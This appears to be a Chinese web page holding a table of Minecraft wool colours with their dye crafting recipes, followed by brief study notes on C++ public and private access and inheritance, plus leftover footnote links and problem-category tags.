    名称 材料 合成示意图 描述
    羊毛 Wool 线 String 游侠网 建筑材料能被染色.
    浅灰色羊毛 Light Gray Wool 羊毛和浅灰色染料 Wool & Light Gray Dye 游侠网 建筑和装饰材料.
    灰色羊毛 Gray Wool 羊毛和灰色染料 Wool & Gray Dye 游侠网
    黑色羊毛 Black Wool 羊毛和墨囊 Wool & Ink Sac 游侠网
    红色羊毛 Red Wool 羊毛和玫瑰红 Wool & Rose Red 游侠网
    橙色羊毛 Orange Wool 羊毛和橙色染料 Wool & Orange Dye 游侠网
    黄色羊毛 Yellow Wool 羊毛和蒲公英黄 Wool & Dandelion Yellow 游侠网
    黄绿色羊毛 Lime Wool 羊毛和黄绿色染料 Wool & Lime Dye 游侠网
    绿色羊毛 Green Wool 羊毛和仙人掌绿 Wool & Cactus Green 游侠网
    淡蓝色羊毛 Light Blue Wool 羊毛和淡蓝色染料 Wool & Light Blue Dye 游侠网
    青色羊毛 Cyan Wool 羊毛和青色染料 Wool & Cyan Dye 游侠网
    蓝色羊毛 Blue Wool 羊毛和青金石染料 Wool & Lapis Lazuli Dye 游侠网
    紫色羊毛 Purple Wool 羊毛和紫色染料 Wool & Purple Dye 游侠网
    品红色羊毛 Magenta Wool 羊毛和品红色染料 Wool & Magenta Dye 游侠网
    粉红色羊毛 Pink Wool 羊毛和粉红色染料 Wool & Pink Dye 游侠网
    棕色羊毛 Brown Wool 羊毛和可可豆 Wool & Cocoa Beans 游侠网

    笔记2:

    1."private :" 将函数下面的代码(专指变量常量与函数)变成私有的,类外部无法访问。

    2."pubilc :" 将函数下面的代码(专指变量常量与函数)变成公开的,类外部可以访问。

    3.继承类(派生类)可以继承被继承类(基类)的所有公开的量与函数。


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    1. [1] ↩︎

    2. [2] ↩︎

    3. [3] ↩︎

    4. [4] ↩︎

    5. [5] ↩︎

    6. [6] ↩︎

    7. [7] ↩︎

    8. [8] ↩︎

    9. [9] ↩︎

    10. [10] ↩︎

    11. [11] ↩︎

    12. [12] ↩︎

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题目标签

初窥门径
3
顺序结构
3